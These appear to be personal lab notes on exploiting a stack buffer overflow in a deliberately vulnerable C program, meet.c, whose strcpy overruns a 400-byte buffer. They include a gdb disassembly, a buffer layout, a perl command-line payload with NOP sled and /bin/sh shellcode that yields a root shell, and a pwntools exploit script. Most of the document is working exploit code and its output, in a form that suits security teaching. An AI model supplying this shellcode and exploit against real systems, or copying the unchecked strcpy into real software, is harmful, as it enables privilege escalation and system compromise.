weekness programe

// meet.c
#include <stdio.h>         // needed for screen printing
#include <string.h>        // needed for strcpy
void greeting(char *temp1,char *temp2){  // greeting function to say hello
   char name[400];         // string variable to hold the name
   strcpy(name, temp2);    // copy argument to name with the infamous strcpy
   printf("Hello %s %s\n", temp1, name);  // print out the greeting
}
int main(int argc, char * argv[]){    // note the format for arguments
   greeting(argv[1], argv[2]);        // call function, pass title & name
   printf("Bye %s %s\n", argv[1], argv[2]);  // say "bye"
}                                     // exit program

stack frame

| name[400] | ebp | eip | temp1 | temp2 |

disassemble greeting

(gdb) disass greeting
Dump of assembler code for function greeting:
   0x56556201 <+0>:	push   %ebp
   0x56556202 <+1>:	mov    %esp,%ebp
   0x56556204 <+3>:	push   %ebx
   0x56556205 <+4>:	sub    $0x190,%esp
   0x5655620b <+10>:	call   0x565560c0 <__x86.get_pc_thunk.bx>
   0x56556210 <+15>:	add    $0x2df0,%ebx
=> 0x56556216 <+21>:	push   0xc(%ebp)
   0x56556219 <+24>:	lea    -0x194(%ebp),%eax
   0x5655621f <+30>:	push   %eax
   0x56556220 <+31>:	call   0x56556050 <strcpy@plt>
   0x56556225 <+36>:	add    $0x8,%esp
   0x56556228 <+39>:	lea    -0x194(%ebp),%eax
   0x5655622e <+45>:	push   %eax
   0x5655622f <+46>:	push   0x8(%ebp)
   0x56556232 <+49>:	lea    -0x1ff8(%ebx),%eax
   0x56556238 <+55>:	push   %eax
   0x56556239 <+56>:	call   0x56556040 <printf@plt>
   0x5655623e <+61>:	add    $0xc,%esp
   0x56556241 <+64>:	nop
   0x56556242 <+65>:	mov    -0x4(%ebp),%ebx
   0x56556245 <+68>:	leave
   0x56556246 <+69>:	ret
End of assembler dump.
(gdb) print 0x190
$1 = 400

custom buffer layout

| NOP[355] | shellcode[53] | eip[&NOP] |

so, when leave strcpy, eip pointer to address of NOP array, then shellcode is executed!

exploit

─$ ./meet Mr `perl -e 'print "\x90"x355 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xa4\xd1\xff\xff"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
	LANGUAGE = (unset),
	LC_ALL = (unset),
	LC_CTYPE = "UTF-8",
	LANG = "en_US.UTF-8"
    are supported and installed on your system.
perl: warning: Falling back to a fallback locale ("en_US.UTF-8").
Hello P���! �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀�^�1��F�F
                                                                                                                        �
                                                                                                                         ���V
                                                                                                                              ̀1ۉ�@̀�����/bin/sh����
# id
uid=0(root) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
#

pwn tools

#!/usr/bin/env python3
#meet_exploit.py

from pwn import *
context.update(arch='i386', os='linux')

shellcode = b"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
sc_offset = p32(0xffffd1a4)
nops = b"\x90"*(412 - len(shellcode) - len(sc_offset))

payload = nops + shellcode + sc_offset

p = process(["./meet", "Mr", payload])
p.interactive()